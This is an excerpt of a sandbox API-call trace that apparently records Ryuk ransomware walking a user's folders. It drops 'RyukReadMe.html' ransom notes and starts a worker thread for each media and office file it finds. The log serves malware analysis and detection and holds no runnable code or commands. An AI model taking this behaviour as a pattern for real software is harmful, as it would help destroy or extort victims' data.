	[0212.447] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0212.447] SetLastError (dwErrCode=0x0) 
	[0212.447] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c
	[0212.448] GetLastError () returned 0xb7
	[0212.448] CloseHandle (hObject=0x66c) returned 1
	[0212.448] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0212.450] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0212.450] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0212.450] SetLastError (dwErrCode=0x0) 
	[0212.450] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x670
	[0212.451] GetLastError () returned 0x0
	[0212.451] WriteFile (in: hFile=0x670, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c188*=0x273, lpOverlapped=0x0) returned 1
	[0212.454] CloseHandle (hObject=0x670) returned 1
	[0212.455] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0212.455] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x206, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0212.455] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x206, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0212.455] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0212.455] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.457] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0212.459] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.459] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x206, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0212.460] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0212.460] SetLastError (dwErrCode=0x0) 
	[0212.460] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0212.460] GetLastError () returned 0x3
	[0212.460] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0212.460] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0212.460] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0
	[0212.460] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0212.461] SetLastError (dwErrCode=0x0) 
	[0212.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x66c
	[0212.461] GetLastError () returned 0xb7
	[0212.461] CloseHandle (hObject=0x66c) returned 1
	[0212.461] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5d217160, ftCreationTime.dwHighDateTime=0x1d5c0a4, ftLastAccessTime.dwLowDateTime=0x9a42e9d0, ftLastAccessTime.dwHighDateTime=0x1d5b83d, ftLastWriteTime.dwLowDateTime=0x9a42e9d0, ftLastWriteTime.dwHighDateTime=0x1d5b83d, nFileSizeHigh=0x0, nFileSizeLow=0xa734, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="HM2Ftlx uiQ.png", cAlternateFileName="HM2FTL~1.PNG")) returned 1
	[0212.462] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
	[0212.465] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.466] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6e2f5b60, ftCreationTime.dwHighDateTime=0x1d5c2ee, ftLastAccessTime.dwLowDateTime=0xf2fab6e0, ftLastAccessTime.dwHighDateTime=0x1d5c088, ftLastWriteTime.dwLowDateTime=0xf2fab6e0, ftLastWriteTime.dwHighDateTime=0x1d5c088, nFileSizeHigh=0x0, nFileSizeLow=0xa6c8, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="J_-R87.mkv", cAlternateFileName="")) returned 1
	[0212.466] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0212.468] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.468] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81051d90, ftCreationTime.dwHighDateTime=0x1d5b715, ftLastAccessTime.dwLowDateTime=0x29745260, ftLastAccessTime.dwHighDateTime=0x1d5c5d6, ftLastWriteTime.dwLowDateTime=0x29745260, ftLastWriteTime.dwHighDateTime=0x1d5c5d6, nFileSizeHigh=0x0, nFileSizeLow=0x3fc8, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Ki2c.avi", cAlternateFileName="")) returned 1
	[0212.468] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0212.471] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.472] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1d36120, ftCreationTime.dwHighDateTime=0x1d5beca, ftLastAccessTime.dwLowDateTime=0x76314170, ftLastAccessTime.dwHighDateTime=0x1d5bfab, ftLastWriteTime.dwLowDateTime=0x76314170, ftLastWriteTime.dwHighDateTime=0x1d5bfab, nFileSizeHigh=0x0, nFileSizeLow=0x14af, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="l1ORf0q2ulaDN.bmp", cAlternateFileName="L1ORF0~1.BMP")) returned 1
	[0212.472] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0212.895] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.896] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xab564300, ftCreationTime.dwHighDateTime=0x1d5bbf0, ftLastAccessTime.dwLowDateTime=0xee258640, ftLastAccessTime.dwHighDateTime=0x1d5c3f8, ftLastWriteTime.dwLowDateTime=0xee258640, ftLastWriteTime.dwHighDateTime=0x1d5c3f8, nFileSizeHigh=0x0, nFileSizeLow=0x4155, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="lQxu.png", cAlternateFileName="")) returned 1
	[0212.896] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0212.899] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.899] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d515640, ftCreationTime.dwHighDateTime=0x1d5c238, ftLastAccessTime.dwLowDateTime=0x60496ca0, ftLastAccessTime.dwHighDateTime=0x1d5c165, ftLastWriteTime.dwLowDateTime=0x60496ca0, ftLastWriteTime.dwHighDateTime=0x1d5c165, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="LY6Qu.xls", cAlternateFileName="")) returned 1
	[0212.899] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0212.902] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.902] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd2cdd380, ftCreationTime.dwHighDateTime=0x1d5be16, ftLastAccessTime.dwLowDateTime=0x3dc95e10, ftLastAccessTime.dwHighDateTime=0x1d5c520, ftLastWriteTime.dwLowDateTime=0x3dc95e10, ftLastWriteTime.dwHighDateTime=0x1d5c520, nFileSizeHigh=0x0, nFileSizeLow=0x62e6, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="MJMk8.m4a", cAlternateFileName="")) returned 1
	[0212.903] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0212.905] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.905] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3dd8a8c0, ftCreationTime.dwHighDateTime=0x1d5bcfb, ftLastAccessTime.dwLowDateTime=0x8a9a45a0, ftLastAccessTime.dwHighDateTime=0x1d5c51c, ftLastWriteTime.dwLowDateTime=0x8a9a45a0, ftLastWriteTime.dwHighDateTime=0x1d5c51c, nFileSizeHigh=0x0, nFileSizeLow=0xd8cc, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="P1dmCR7ieckSgIIeC9O9.pptx", cAlternateFileName="P1DMCR~1.PPT")) returned 1
	[0212.905] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0212.908] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.909] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x94e32a60, ftCreationTime.dwHighDateTime=0x1d5c169, ftLastAccessTime.dwLowDateTime=0x376ee9b0, ftLastAccessTime.dwHighDateTime=0x1d5c532, ftLastWriteTime.dwLowDateTime=0x376ee9b0, ftLastWriteTime.dwHighDateTime=0x1d5c532, nFileSizeHigh=0x0, nFileSizeLow=0x1645b, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="qGOJS5U056zz.m4a", cAlternateFileName="QGOJS5~1.M4A")) returned 1
	[0212.909] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0212.911] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.912] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1f68b270, ftCreationTime.dwHighDateTime=0x1d5ba9b, ftLastAccessTime.dwLowDateTime=0x1a90ef70, ftLastAccessTime.dwHighDateTime=0x1d5b7d9, ftLastWriteTime.dwLowDateTime=0x1a90ef70, ftLastWriteTime.dwHighDateTime=0x1d5b7d9, nFileSizeHigh=0x0, nFileSizeLow=0x1788a, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="qSjd7SgYFb_k4OKYS.mp3", cAlternateFileName="QSJD7S~1.MP3")) returned 1
	[0212.912] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.913] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0212.915] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.915] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbc4fe2d0, ftCreationTime.dwHighDateTime=0x1d5bf18, ftLastAccessTime.dwLowDateTime=0xf6e93450, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0xf6e93450, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0xef7b, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="QwBhM.odt", cAlternateFileName="")) returned 1
	[0212.915] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.916] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0212.918] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.918] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda7c5000, ftCreationTime.dwHighDateTime=0x1d5bed1, ftLastAccessTime.dwLowDateTime=0x986d0b30, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x986d0b30, ftLastWriteTime.dwHighDateTime=0x1d5bd89, nFileSizeHigh=0x0, nFileSizeLow=0x174dc, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RfdjvaFkFgE9qEv7bT.avi", cAlternateFileName="RFDJVA~1.AVI")) returned 1
	[0212.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c
	[0212.921] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.922] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x97d09680, ftCreationTime.dwHighDateTime=0x1d5bbfc, ftLastAccessTime.dwLowDateTime=0xe3815c70, ftLastAccessTime.dwHighDateTime=0x1d5bcc6, ftLastWriteTime.dwLowDateTime=0xe3815c70, ftLastWriteTime.dwHighDateTime=0x1d5bcc6, nFileSizeHigh=0x0, nFileSizeLow=0x4273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="rraEpi1SleocmER-.wav", cAlternateFileName="RRAEPI~1.WAV")) returned 1
	[0212.922] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.923] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0
	[0212.925] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.925] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe5ab750, ftCreationTime.dwHighDateTime=0x1d5b9d0, ftLastAccessTime.dwLowDateTime=0xa911ee20, ftLastAccessTime.dwHighDateTime=0x1d5c11b, ftLastWriteTime.dwLowDateTime=0xa911ee20, ftLastWriteTime.dwHighDateTime=0x1d5c11b, nFileSizeHigh=0x0, nFileSizeLow=0x13ae8, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Ry6fZp6K Kz.wav", cAlternateFileName="RY6FZP~1.WAV")) returned 1
	[0212.925] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.926] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4
	[0212.928] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0212.929] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7337b0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x1a7337b0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x1a759910, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0212.929] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1b5b1910, ftCreationTime.dwHighDateTime=0x1d5b7e0, ftLastAccessTime.dwLowDateTime=0x492dbc50, ftLastAccessTime.dwHighDateTime=0x1d5bfa9, ftLastWriteTime.dwLowDateTime=0x492dbc50, ftLastWriteTime.dwHighDateTime=0x1d5bfa9, nFileSizeHigh=0x0, nFileSizeLow=0x17afa, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="ss2b.mp4", cAlternateFileName="")) returned 1
	[0212.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0212.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8
	[0213.268] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0213.755] FindNextFileW (in: hFindFile=0x29ef20, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1f7c4fa0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0xd8b68e0, ftLastAccessTime.dwHighDateTime=0x1d5bb22, ftLastWriteTime.dwLowDateTime=0xd8b68e0, ftLastWriteTime.dwHighDateTime=0x1d5bb22, nFileSizeHigh=0x0, nFileSizeLow=0x12c85, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="TaYG.png", cAlternateFileName="")) returned 1
	[0213.755] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
